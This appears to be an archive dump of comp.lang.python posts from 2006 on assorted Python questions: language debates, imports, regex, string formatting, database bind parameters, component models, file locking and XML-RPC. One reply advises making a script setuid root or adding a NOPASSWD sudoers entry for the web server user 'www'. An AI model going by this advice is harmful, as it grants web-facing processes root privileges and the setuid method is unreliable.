statement a beacon of irony and wit. And in context of somebody seeking enlightment regarding java, it's especially unhelpful and confusing I think. Which was the reason for my post. > C++ has a lot of wicked, complicated features like overloadable >> assignment statements and so on, misses GC, and is in general >> semantically very overloaded. > > Maybe. Though I think there /are/ languages with more complicated > features, with an imperfomant GC that can't be controlled, or more > semantically overloaded. So what? Either you talk about Java here, then name it and prove these points, or not, then where is the relevance of that statement to this discussion? IF you talk about java and GC: yes, can be painful sometimes, in high-load scenarios. And you can tweak it, btw. But I can count the cases I ran into GC-troubles on one hand, where the number of segfaults due lack of GCing in C++ are endless. And certainly not only for me.... > BTW, what exactly do you mean by "semantically overloaded" in the > case of C++? E. g. the :: and . operators where one could do both? For example: the overloading of assignment operators, casting operators, copy constructors and the like that, and the fact that one of them is possibly chosen in absence of the other. The subtle differences between pointers and references. Ahh, not to forget the joys of slicing through non-virtual copy-constructors. And while we are talking about it: virtual - a keyword with a great deal of meanings.... Missing definition of static initializer order, at least for some binary formats. I could continue for some while... >> All that make programming it a real PITA, as you permanently are >> at risk loosing your feet through self-inflicted gun-shot-wounds. > > It can be quite convenient. Not as convenient as Python, but it's > not impossible at all to write working code without hundreds of > bugs. But that's what it reads like in your posting. I didn't state that you can't produce working code with C++, I said that it is remarkably more difficult than with java (and python anyway). Because of aforementioned complications in the language design of C++. >> While Java is a language that makes it difficult to produce nice >> or beautiful code, > > because it wanted to be new and good but took over much of C++'s > syntax and made it even weirder, Even weirder? Care to explain? While they _did_ choose some unneccessary syntactic crud to stay in, even though it isn't needed (e.g. the superfluous new-keyword), I don't see a lot of things like ::, ->, virtual, =0 and so on. Not to mention struct and friend of course. Yes, they tried to make it appealing to the eye of a C++-programmer. But that pretty much is it. >> it certainly is a language that hinders you to shoot in your own >> foot really badly. > > No, it is a language that forbids almost everything from C++ which > could be dangerous, and at the same time reimplements some of those > features "under the hood": E. g. no operator overloading, but "+" > concatenation of strings. What if you'd like to implement your own > string-derived class? Ah, never mind. Operator overloading is > bad(tm) ;) <= Irony, definitely You are confusing things here. That you can't implement your own string derived class has to do with java.lang.String being final - something I grief about, too. But nothing with operator overloading of + for _all_ objects that support toString().... Yes, Java lacks operator overloading, and that is a pity sometimes. But getting productive with it is certainly in between python and C++, and not below. Diez From jiang.haiyun at gmail.com Sat Oct 28 05:07:11 2006 From: jiang.haiyun at gmail.com (jiang.haiyun at gmail.com) Date: 28 Oct 2006 02:07:11 -0700 Subject: Python crashed when importing SOAPpy, printing out 'usage:copy source destination' Message-ID: <1162026431.149026.215510@h48g2000cwc.googlegroups.com> Hello all, when i import SOAPpy, the python crashed and print out 'usage:copy source destination'. As follows: ############################ haiyun# python Python 2.4.1 (#2, Mar 28 2006, 21:00:14) [GCC 3.4.2 [FreeBSD] 20040728] on freebsd5 Type "help", "copyright", "credits" or "license" for more information. >>> import SOAPpy usage:copy source destination ############################# Then i checked and found that in my pwd there is a .py file, i guess it is this file caused the problem. the file content is as follows: ############################ haiyun# cat a.py #!env python usage="usage:copy source destination\n" import sys len=len(sys.argv) if len!=3 : print usage sys.exit() ################end######### So the python will crash when i import SOAPpy if working in a dir containing this .py file, and if rename the .py file to another type , say .txt, the problem dispeared. Who can tell me what's the problem. From martin.dion at gmail.com Wed Oct 18 18:16:40 2006 From: martin.dion at gmail.com (martdi) Date: 18 Oct 2006 15:16:40 -0700 Subject: pexpect with apache In-Reply-To: <1gxZg.3425$ya1.2766@news02.roc.ny> References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> <1161202610.865795.63830@f16g2000cwb.googlegroups.com> <1gxZg.3425$ya1.2766@news02.roc.ny> Message-ID: <1161209800.433795.303600@e3g2000cwe.googlegroups.com> Sudo is probably the best solution here, since in the file sudo.conf you could restrict the www user only to the python script that requires it. Also, using either sudo or the setuid flag would remove the need of pexpect since all the commands will be run as the designated user. for setuid flag: chmod u+s pythonScript.py chown root pythonScript.py for the sudo solution, add an entry to /etc/sudo.conf or /etc/sudoers , depending on distro: the syntax for a line in sudo.conf is: user hostlist = (userlist) commandlist so you might want to add: www localhost = NOPASSWD: /var/www/htdocs/pythonScript.py note: Replace the /var/www/htdocs/pythonScript.py with the path to where your script is the NOPASSWD: is a flag that tells sudo that no password is required Lee Harr wrote: > > Well, first i don't think it is a good idea to have the python script > > tu su to root, but for it to work, i think (Totally unsure about that) > > www has to be in group wheel to be able to su. > > > Maybe sudo can help here. From hanumizzle at gmail.com Fri Oct 13 10:03:29 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 10:03:29 -0400 Subject: Converting MSWord Docs to PDF In-Reply-To: <1160557838.143189.117730@c28g2000cwb.googlegroups.com> References: <4524431F@webmail.azwestern.edu> <1160557838.143189.117730@c28g2000cwb.googlegroups.com> Message-ID: <463ff4860610130703r3d42233cle5a44d23b62aeb32@mail.gmail.com> On 11 Oct 2006 02:10:38 -0700, Ant wrote: > > Theerasak Photha wrote: > > On 10/11/06, melv at awc.edu wrote: > ... > > (La)TeX is the king of document processing, and does PDF. > > Except that the OP want's to print Word documents as PDF. LaTeX is > good, granted, but just try converting LaTeX documents to Word or vice > versa... Oh. But can't you just render Word documents to PostScript? And then ps2pdf will pick up the rest of the slack. It might not even need Python. -- Theerasak From edreamleo at charter.net Wed Oct 4 12:33:44 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 11:33:44 -0500 Subject: How to ask sax for the file encoding References: <4oi0f3FehgnuU1@uni-berlin.de> <4oi4meFep2seU1@uni-berlin.de> Message-ID: > The encoding _is_ irrelevant, in the very moment you get unicode strings. We shall have to disagree about this. My use case is perfectly reasonable, imo. > If you write out xml again, use whatever encoding suits you best. What suits me best is what the *user* specified, and that got put in the first xml line. I'm going to have to parse this line myself. Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From roy at panix.com Sat Oct 7 22:30:06 2006 From: roy at panix.com (Roy Smith) Date: Sat, 07 Oct 2006 22:30:06 -0400 Subject: need some regular expression help References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> Message-ID: In article <1160256609.555007.83170 at e3g2000cwe.googlegroups.com>, "Chris" wrote: > I need a pattern that matches a string that has the same number of '(' > as ')': > findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [ > '((2x+2)sin(x))', '(log(2)/log(5))' ] > Can anybody help me out? > > Thanks for any help! Why does it need to be a regex? There is a very simple and well-known algorithm which does what you want. Start with i=0. Walk the string one character at a time, incrementing i each time you see a '(', and decrementing it each time you see a ')'. At the end of the string, the count should be back to 0. If at any time during the process, the count goes negative, you've got mis-matched parentheses. The algorithm runs in O(n), same as a regex. Regex is a wonderful tool, but it's not the answer to all problems. From gal.diskin at gmail.com Thu Oct 5 11:00:58 2006 From: gal.diskin at gmail.com (Gal Diskin) Date: 5 Oct 2006 08:00:58 -0700 Subject: building strings from variables Message-ID: <1160060458.147062.193070@c28g2000cwb.googlegroups.com> Following a discussion with an associate at work about various ways to build strings from variables in python, I'd like to hear your opinions and preferred methods. The methods we discussed are: 1. some_string = "cd %s ; %s %d %s %s" % ( working_dir, ssh_cmd, some_count, some_param1, some_param2) 2. import string template = string.Template("cd $dir ; $cmd $count $param1 $param2") some_string = template.substitute(dict(dir=working_dir, cmd=ssh_cmd, count=some_count, pararm1=some_param1, param2=some_param2)) here you can use a couple of nice tricks by using class.__dict__ and globals() \ locals() dictionaries. 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ " "+str(some_count)+" "+some_param1+" "+some_param2 (all these are supposed to produce the same strings) Which methods do you know of \ prefer \ think is better because...? I will appreciate any opinions about the matter. From joehust at gmail.com Fri Oct 27 07:47:15 2006 From: joehust at gmail.com (joe Li) Date: Fri, 27 Oct 2006 19:47:15 +0800 Subject: virtual function appears in two bases Message-ID: <11c6e45f0610270447g3ad825adjf6027ed4637909b6@mail.gmail.com> I saw the following code, but I don't understand the rule for virtual function that appears in two bases Could anyone explain it for me, thanks. class Base1: def amethod(self): print "Base1" class Base2(Base1): pass class Base3: def amethod(self): print "Base3" class Derived(Base2, Base3): pass aninstance = Derived() aninstance.amethod() -------------- next part -------------- An HTML attachment was scrubbed... URL: From exarkun at divmod.com Fri Oct 20 16:28:20 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Fri, 20 Oct 2006 16:28:20 -0400 Subject: curious paramstyle qmark behavior In-Reply-To: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> Message-ID: <20061020202820.26151.372449229.divmod.quotient.8322@ohm> On 20 Oct 2006 13:06:58 -0700, BartlebyScrivener wrote: >With > >aColumn = "Topics.Topic1"' > >The first statement "works" in the sense that it finds a number of >matching rows. > >c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM >QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",)) > >I've tried about 20 different variations on this next one. And it finds >0 records no matter what I do. Is there some violation when I use two >qmarks? > >c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM >QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%")) > >I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB. Bind parameters aren't a general interpolation mechanism. Typically, you cannot use them with database, table, or column names. Likewise, this won't work: execute("SELECT foo ? bar WHERE baz", ("FROM",)) The rule is difficult to express simply (at least, I have never seen it expressed simply), but it goes something like "bind parameters only work on values, not schema elements or syntactic constructs". Jean-Paul From horpner at yahoo.com Tue Oct 24 10:43:10 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 24 Oct 2006 16:43:10 +0200 Subject: The format of filename Message-ID: Where can I find documentation of what Python accepts as the filename argument to the builtin function file? As an example, I'm aware (through osmosis?) that I can use '/' as a directory separator in filenames on both Unix and Dos. But where is this documented? -- Neil Cerutti From mahs at telcopartners.com Tue Oct 24 14:17:50 2006 From: mahs at telcopartners.com (Michael Spencer) Date: Tue, 24 Oct 2006 11:17:50 -0700 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: <453d4890$0$22566$9b622d9e@news.freenet.de> References: <453d4890$0$22566$9b622d9e@news.freenet.de> Message-ID: Martin v. L?wis wrote: > Georg Brandl schrieb: >> Perhaps you can bring up a discussion on python-dev about your improvements >> and how they could be integrated into the standard library... > > Let me second this. The compiler package is largely unmaintained and > was known to be broken (and perhaps still is). A replacement > implementation, especially if it comes with a new maintainer, would > be welcome. > > Regards, > Martin Thanks, I will raise this on python-dev soon. Regards Michael From fredrik at pythonware.com Sun Oct 29 06:41:00 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 12:41:00 +0100 Subject: Providing full interaction with the run time In-Reply-To: References: Message-ID: Dale Strickland-Clark wrote: > We have a system we're developing which runs as a server. It has an xml-rpc > interface which I've extended to provide some debugging facilities. This > has already proved very useful and will continue to be so as the system is > prepared for live deployment. > > The debugging interface attempts to emulate the Python interactive shell. > You type expressions, you get an answer. You type statements, they get > executed. > > The problem is these two types of input are handled differently by Python. > You don't seem to be able to pass statements (which includes assignments) > and expressions through the same calls. > > There are three keywords that support this type of function: EXEC, EVAL and > COMPILE. We can ignore EXEC for this because it doesn't support saving and > restoring a local environment and EVAL can do it better. huh? both exec and eval take optional execution contexts: http://effbot.org/pyref/eval.htm http://effbot.org/pyref/exec.htm > Or am I going about this all wrong? yes, you're trying to reinvent the "code" module (and badly, it seems ;-). see the library reference to details, this page for some examples: http://www.effbot.org/librarybook/code.htm From paul at boddie.org.uk Tue Oct 24 06:13:32 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 24 Oct 2006 03:13:32 -0700 Subject: Python 2.5 ; Effbot console ; thank ; pb release. References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <021801c6f734$cb375900$03000080@hendrik> <87lkn6qh6q.fsf@benfinney.id.au> Message-ID: <1161684812.036023.135450@b28g2000cwb.googlegroups.com> Thomas Heller wrote: > > I wonder if it would be possible to setup a windows box which provides > a (web-)service that allows to build Python packages. Isn't this the kind of service your distribution vendor should be providing, especially if you've paid them good money? Oh wait! That would be Microsoft, wouldn't it? ;-) Still, there's always ActiveState, and I guess they still have that PPM installer utility for people wanting some kind of binary package download mechanism. Paul From eldiener_no_spam_here at earthlink.net Tue Oct 10 09:26:27 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 13:26:27 GMT Subject: Python component model In-Reply-To: <1160481117.377844.82630@i3g2000cwc.googlegroups.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160481117.377844.82630@i3g2000cwc.googlegroups.com> Message-ID: <7cNWg.7442$Y24.2483@newsread4.news.pas.earthlink.net> Michael Sparks wrote: > Edward Diener No Spam wrote: >> Michael wrote: >>> Edward Diener No Spam wrote: >>> >>>> Has there ever been, or is there presently anybody, in the Python >>>> developer community who sees the same need and is working toward that >>>> goal of a common component model in Python, blessed and encouraged by >>>> those who maintain the Python language and standard modules themselves ? >>> Someone aiming towards a standard to /replace/ everyone else's? That >>> presupposes a level of arrogance that seems unusual in the python world. >>> (whilst everyone's proud of their own code and they _generally_ respect >>> other people's even if it's not their cup of tea). >> The reason I would like to see a standard component model for Python is >> so 3rd party developers could create their classes to conform to this >> model and work in any RAD IDE environment which adapts it. That's the >> way JavaBeans work, that the way Borland's VCL component model works, >> and that's the way .Net works. When there are many different component >> models, the 3rd party developer must adapt their components to each >> model for a particular environment. >> >> But far be it from me to want to replace everybody else's model . > > Well that's the thing you *do* want since you want the previous > paragraph ;-) > (Or at least a way to adapt component models.) I was being funny above. Yes I would like to establish a basic component model for RAD development in Python. But surely it need not replace all others but could serve at least as a base class for other derived models for various environments. That way a developer writing a Python component could have it work in these environments as a simple component and more complex components, tailored to that environment could be created as necessary through inheritance. > >> By your reasoning above, standardizing anything in software is an >> arrogant proposition. Whereas I look at standardization, when it is well >> done, as a boon to programmers. > > OK, maybe I was being a bit strong - I was merely thinking "lots of > people have something like this already, and I've not seen anyone push > their model as THE model", (even if lots of people like *their* model > :-) > > However, I was also being a bit tongue in cheek, though I should have > said unreasonable, not arrogant: > "...all progress depends on the unreasonable man." -- Bernard Shaw. Bravo, Shaw. Of course by unreasonable I assume Shaw meant those using imagination and inspiration along with logic and reason. > > What could have some mileage though is proposing a standard way for > these component models to interoperate. What that would look like > (given the wildly different models :), is another matter and an > exercise for the interested reader ;-) > >>> The WSGI standard could be a form of component model, and has gone through >>> the PEP process so that might match your criterion. >> I do not know what it is but I will look it up. > > NB, I'm using component model in it's loosest form there. > >>> As for component >>> models, they do exist. >>> >>> Our component model on the Kamaelia project [1] is one that's heavily >>> designed around the idea of composition and independent execution of >>> components and message passing (message passing maps to events for some >>> sorts of message), >>> [1] http://kamaelia.sourceforge.net/Home >> I will look at kamaelia. Thanks ! > > You're welcome. Any deficiencies or improvements or suggestions you've > got would be very welcome (I can see some which we're planning on > addressing at some point, but fresh critical eyes are always welcome). > >>> However, off the top of my head, you should also look at Zope's component >>> model, Trac's component model, Twisted's model & PEAK, and any proposal >>> to say "this is the solution", needs to be compelling for all of these >>> projects. >> A standard component model could be used as a base for other more >> advanced needs. Most of those mentioned above seem to involve web >> application frameworks whereas my idea of a component model just assumes >> the paradigms of properties, methods, and events which may allow >> re-usable components at a base level in any environment. > > They do, however in particular, Trac's model whilst web oriented > strikes me personally as interesting and PEAK's is applicable, as I > understand it, outside the web sphere. (Enthought was mentioned > elsewhere and is interesting (IMO) for the properties stuff) I do like most of Enthought's notion of properties, which they call "traits", no doubt to also distinguish it from Python new-style class properties. Their notion corresponds somewhat to the idea of properties in Java and .Net. Essentially a property-method-event component model in Python needs component properties and component events, so investigating notions of component properties in Python is something I want to do. > > If you're interested in event systems as well, it's probably worth > looking at the way a number of pygame applications are written since > there's an event model built into pygame that some pygame apps take > advantage of for custom events and some don't. It's a very different > problem realm to the web systems. Are there any URLs you know for looking at these event models ? In general an event model for a component must be ideally very flexible, which in my terminology means that any Python user-defined class or function object should be able to handle any exposed class event given the correct callable signature. > > Twisted is worth looking at as well, since it's probably got one of the > more interesting approaches for dealing with essentially event based > systems I've seen. > >> A particular implementation is certainly allowed to build a more >> complicated idea of a component, through inheritance, from a base level >> component, and this is in fact the way that most components work in >> current component model environments I have mentioned. For instance in >> .Net a control is a component with other added qualities. So while one >> could build components which are not controls, it is necessary to add >> functionality to the base level idea of a component in order to create a >> control. > > You *may* also want to take a look at picolo as well then - but as far > as I'm > aware it's not actually *used* by anyone. It is in some respects more > like > the kind of component model you describe here. (I personally didn't > find much > useful about their proposal that goes beyond what python already > provides > you) However you might find that and some of the other things on the > following > link interesting: http://www2.lifl.fr/~marvie/software.html > > It's worth bearing in mind though that your description above is one > approach > for component based design. A survey of different approaches which you > might find useful: Again, thanks for the links. From hanumizzle at gmail.com Tue Oct 17 06:35:33 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 17 Oct 2006 06:35:33 -0400 Subject: Any idea how to do this in Python? In-Reply-To: <1161079005.891146.283920@i42g2000cwa.googlegroups.com> References: <1161072836.884393.204810@f16g2000cwb.googlegroups.com> <1161079005.891146.283920@i42g2000cwa.googlegroups.com> Message-ID: <463ff4860610170335rd0935e2ic467299be82bb367@mail.gmail.com> On 17 Oct 2006 02:56:45 -0700, Lad wrote: > > Dennis, > Thank you for your reply > You say: > >Pretend you are the computer/application/etc. How would YOU > > perform such a ranking? > That is what I do not know , how to perform such ranking. > Do you have any idea? The details are very sketchy, but if it's just one item in particular that's being favored, you could just have something like 'Google sponsored ads', where there's a small box with links to everything related to Siemens Mobile at the top. (keke, he said 'Siemens', lol) -- Theerasak From bignose+hates-spam at benfinney.id.au Wed Oct 25 20:50:01 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 10:50:01 +1000 Subject: question about True values References: <17727.47016.632530.720950@montanaro.dyndns.org> Message-ID: <87r6wvlx3a.fsf@benfinney.id.au> Steve Holden writes: > skip at pobox.com wrote: > > s is not equal to the boolean object True, but it also doesn't > > evaluate to the string class's "nil" value. Each of the builtin > > types has such an "empty" or "nil" value: > > > > string "" > > list [] > > tuple () > > dict {} > > int 0 > > float 0.0 > > complex 0j > > set set() > > > > Any other value besides the above will compare as "not false". > > And today's question for the novices is: which Python type did Skip > miss from the above list? bool False -- \ "[The RIAA] have the patience to keep stomping. They're playing | `\ whack-a-mole with an infinite supply of tokens." -- kennon, | _o__) http://kuro5hin.org/ | Ben Finney From esj at harvee.org Tue Oct 3 00:28:35 2006 From: esj at harvee.org (Eric S. Johansson) Date: Tue, 03 Oct 2006 00:28:35 -0400 Subject: Making sure script only runs once instance at a time. In-Reply-To: <1159832748.370619.95190@i3g2000cwc.googlegroups.com> References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> <4520E5E1.3040409@googlemail.com> <1159832748.370619.95190@i3g2000cwc.googlegroups.com> Message-ID: <4521E6F3.6080004@harvee.org> MonkeeSage wrote: > Here's a class using Fredrik's suggestions to provide generic, > cross-platform file locking (only tested on *nix however, with the two > test files listed [i.e., run test1.py in one terminal then test2.py in > another]): > > http://pastie.caboo.se/15851 > > Ps. The lockfile should also always be cleaned up (even when your > program excepts) because of the magic __del__ method, but I don't > guarentee it will be (nor depend on it: I used the pid + hostname in > the lockfile approach). the problem with this solution is that it does not handle the read nonexclusive/write exclusive locking model. In this model, reads don't block, they only register that the request is in process. writes lock request block until all outstanding reads have completed. When there is a write lock waiting, all subsequent reads lock requests block until the write has completed. Things get more complicated when you add exclusive read capability to the system. But fortunately, that capability isn't needed very often and sometimes reduces to a write exclusive lock. The next level up in terms of locking system requirements is some form of scoreboard mechanism where you can lock individual records in a file (i.e. dbm). I do something like this in a demon which owns the dbm, mediates database access, and record locking so that I can have multiple readers and writers at the same time using gdbm. But you can also use the same technique for metakit. ---eric From fredrik at pythonware.com Mon Oct 16 12:01:19 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 18:01:19 +0200 Subject: Strange Behavior In-Reply-To: References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> Message-ID: Steven D'Aprano wrote: > It isn't a bug in Python. At worst, it is a "gotcha", but it is a > deliberate design decision, and quite useful. For example, this is good > for caching complicated calculations: it's also used to pass in *objects* instead of names into an inner scope. From fredrik at pythonware.com Mon Oct 30 05:34:32 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 11:34:32 +0100 Subject: slice's indices() method In-Reply-To: <1162203112.607390.220510@e3g2000cwe.googlegroups.com> References: <1162203112.607390.220510@e3g2000cwe.googlegroups.com> Message-ID: smichr at gmail.com wrote: > Is there any reason not to change the behavior of the indices() method > so it gives indices that can be used in range (to give indices > corresponding to elements that would be extracted by a given slice) > *and* used as arguments for slices so that the slice with the new > indices (obtained from the indices() method) would extract the same > elements as the original slice from whence they were obtained? and this month's "absolutely most pointless of all pointless proposals" award goes to... From fortepianissimo at gmail.com Mon Oct 23 02:41:26 2006 From: fortepianissimo at gmail.com (fortepianissimo) Date: 22 Oct 2006 23:41:26 -0700 Subject: question about xmlrpc server: returning a list of lists to a Java client? In-Reply-To: <1161577298.179454.140370@m7g2000cwm.googlegroups.com> References: <1161577298.179454.140370@m7g2000cwm.googlegroups.com> Message-ID: <1161585686.348200.187350@e3g2000cwe.googlegroups.com> fortepianissimo wrote: > I have a simple xmlrpc server/client written in Python, and the client > throws a list of lists to the server and gets back a list of lists. > This runs without a problem. > > I then wrote a simple Java xmlrpc client and it calls the python > server. But I can't figure out what type to cast the result (of type > Object) to. The Java xmlrpc call is basically this: > > > Object result = client.execute("MyFunction", params); > > > And I tried to replace that line with > > Vector result = (Vector) client.execute("MyFunction", params); > > and > > ArrayList result = (ArrayList) client.execute("MyFunction", params); > > and both gave me java.lang.ClassCastException. > > I'm really not a Java expert - anyone can give a hint or two? > > (NOTE the java client/python server works well when the returning > result is of type string - so this rules out some other possible > problems) > > Thanks a lot! Ok I'll answer to myself: found this message http://mail-archives.apache.org/mod_mbox/ws-xmlrpc-user/200603.mbox/%3C50EEA33C-9A07-47BB-8AAE-CC5DF705EB04 at wilson.co.uk%3E Basically it's introduced by a bug in Apache XMLRPC 3.0a1 implementation. Anyone knows any update on this please do post up (the message was dated in March 2006) - appreciate it! From dgoodger at gmail.com Wed Oct 4 15:12:37 2006 From: dgoodger at gmail.com (David Goodger) Date: 4 Oct 2006 12:12:37 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <1159989157.734840.188430@m7g2000cwm.googlegroups.com> Giovanni Bajo wrote: > The current request is: "please, readers of python-dev, setup a team of 6-10 > people to handle roundup or we'll go to a non-free software for bug > tracking". This is something which I cannot cope with, and I'm *speaking* > up against. Were the request lowered to something more reasonable, I'd be > willing to *act*. No, the announcement stated the situation in a very different way. Asking for a group of maintainers to commit to an essential piece of infrastructure is perfectly reasonable. Brett didn't ask for 6-10 full time developer/sysadmins. He asked for typical commitment, which is up to a few hours per week. The initial work will probably be significant, but will undoubtedly taper off over time. Go back to the original announcement: """ After evaluating the trackers on several points (issue creation, querying, etc.), we reached a tie between JIRA and Roundup in terms of pure tracker features. """ JIRA gets a leg up because of the hosting and administration also being offered. But... """ If enough people step forward we will notify python-dev that Roundup should be considered the recommendation of the committee and graciously turn down Atlassian's offer. """ That is a perfectly reasonable offer. Put up or shut up. > And besides the only thing I'm really sniping the PSF against is about > *ever* having thought of non-FLOSS software. This is something I *really* do > not accept. ... I just > disagree with their initial requirements (and I have not raised this point > before because, believe me if you can, I really thought it was obvious and > implicit). That just shows that you were being na?ve. The initial requirements were published openly and clearly. > I do respect the fact > that the PSF committee did a thorough and correct evaluation: Yes, they did, and you should be thanking them instead of complaining. If you feel so strongly, please volunteer. -- David Goodger From deets at nospam.web.de Sat Oct 21 03:32:44 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sat, 21 Oct 2006 09:32:44 +0200 Subject: Inheriting property functions In-Reply-To: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> Message-ID: <4pu0ooFk6oneU1@uni-berlin.de> Dustan schrieb: > Looking at this interactive session: > >>>> class A(object): > def __init__(self, a): > self.a = a > def get_a(self): return self.__a > def set_a(self, new_a): self.__a = new_a > a = property(get_a, set_a) > > >>>> class B(A): > b = property(get_a, set_a) > > > Traceback (most recent call last): > File "", line 1, in > class B(A): > File "", line 2, in B > b = property(get_a, set_a) > NameError: name 'get_a' is not defined >>>> class B(A): > b = a > > > Traceback (most recent call last): > File "", line 1, in > class B(A): > File "", line 2, in B > b = a > NameError: name 'a' is not defined > > B isn't recognizing its inheritence of A's methods get_a and set_a > during creation. > > Why am I doing this? For an object of type B, it makes more sense to > reference the attribute 'b' than it does to reference the attribute > 'a', even though they are the same, in terms of readability. I think you are having a code smell here. However, this is how you do it: class B(A): b = A.a Diez From sybrenUSE at YOURthirdtower.com.imagination Sat Oct 21 04:32:39 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sat, 21 Oct 2006 10:32:39 +0200 Subject: Detect Unused Modules References: <1161385707.141179.174310@b28g2000cwb.googlegroups.com> Message-ID: Kamilche enlightened us with: > DetectUnusedModules.py - Detect modules that were imported but not > used in a file. When run directly, this class will check all files > in the current directory. Nice as it is, but why not use pylint to check this and many other coding style issues? Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From cems at earthlink.net Sun Oct 1 11:22:59 2006 From: cems at earthlink.net (charlie strauss) Date: Sun, 1 Oct 2006 11:22:59 -0400 (EDT) Subject: Is this a bug? Python intermittently stops dead for seconds Message-ID: <7935541.1159716179929.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> >> >I think the point you are missing is that the garbage collector is >triggered from time to time to ensure that no cyclical garbage remains >uncollected, IIRC. The more data that's been allocated, the longer it >takes the collector to scan all of memory to do its job. > >If you can find a way to avoid the behaviour I'm sure the development >team would be interested to hear it :-) > >I think you'll find that most programs that eat through memory in this >way will exhibit pretty much the same behaviour. If you *know* your >program isn't creating data cycles, just turn the GC off and rely on >reference counting. That won't save you from paging when you eventually >exhaust physical memory. Nothing can. Could you clarify that for me. GC really has three components two it: 1) finding and freeing unrefernced memory by refer counts 2) cycle removal and 3) defragementing the storage stack. If I turn off GC, don't I lose all of these? >From a user perspective, turning off GC and then managing it yourself is unappealing. What would be preferrable would be to be able to simply turn down it's threshold. That is, what I really want is to tell GC it can hold off and checks other than reference counts until X% of the memory is filled. At some point I want it to kick in, and I don't want to have to programatically manage that, but simply specify a simple tolerance. Even better , I'd like to keep 1 and 3 and turn off just 2 and just use weak reference in the few cases I really need them. From neoedmund at gmail.com Wed Oct 18 04:22:19 2006 From: neoedmund at gmail.com (neoedmund) Date: 18 Oct 2006 01:22:19 -0700 Subject: python's OOP question In-Reply-To: <4534a656$0$19612$426a74cc@news.free.fr> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> <1160991239.541020.115320@m7g2000cwm.googlegroups.com> <453382b6$0$8601$426a74cc@news.free.fr> <1161054047.278803.241040@h48g2000cwc.googlegroups.com> <4534a656$0$19612$426a74cc@news.free.fr> Message-ID: <1161159733.014074.107040@h48g2000cwc.googlegroups.com> Bruno Desthuilliers wrote: > neoedmund wrote: > (snip) > > So I can reuse a method freely only if it's worth reusing. > > For the word "inheritance", in some aspect, meanings reuse the super > > class, with the condition: must reuse everything from super class. > > Not really. In fact, inheritance *is* a special case of > composition/delegation. A 'child' class is a class that has references > to other classes - it's 'parents' -, and then attributes that are not > found in the instance or child class are looked up in the parents > (according to mro rules in case of multiple inheritance). And that's all > there is. > > > It's lack of a option to select which methods are to be reused. > > Methods not redefined in the 'child' class or it's instance are > 'reusable'. Now they are only effectively 'reused' if and when called by > client code. So the 'option to select which methods are to be reused' is > mostly up to both the 'child' class and code using it. > > > this is something should be improved for general OOP i think. > > So to answer " What is your problem with having the other extra methods > > too ?", > > in real life, a class is not defined so well that any method is needed > > by sub-class. > > Then perhaps is it time to refactor. A class should be a highly cohesive > unit. If you find yourself needing only a specific subset of a class, it > may be time to extract this subset in it's own class. Given Python's > support for both multiple inheritance and composition/delegation, it's > usually a trivial task (unless you already mixed up too many orthogonal > concerns in your base class...). > > -- > bruno desthuilliers > python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for > p in 'onurb at xiludom.gro'.split('@')])" I donnot agree with your "it's time to refactory" very much, man has probly never has time to do such things. suppose a system is working soundly, you maybe has no time or motivation to do refactory instead of having a vocation to a island. it's easy to say, at lease myself has not the experience to do such things, :-) From exarkun at divmod.com Sun Oct 22 01:06:34 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Sun, 22 Oct 2006 01:06:34 -0400 Subject: Attempting to parse free-form ANSI text. In-Reply-To: Message-ID: <20061022050634.26151.1790555103.divmod.quotient.9670@ohm> On Sun, 22 Oct 2006 00:34:14 -0400, "Michael B. Trausch" wrote: >Alright... I am attempting to find a way to parse ANSI text from a >telnet application. However, I am experiencing a bit of trouble. > >What I want to do is have all ANSI sequences _removed_ from the output, >save for those that manage color codes or text presentation (in short, >the ones that are ESC[#m (with additional #s separated by ; characters). > The ones 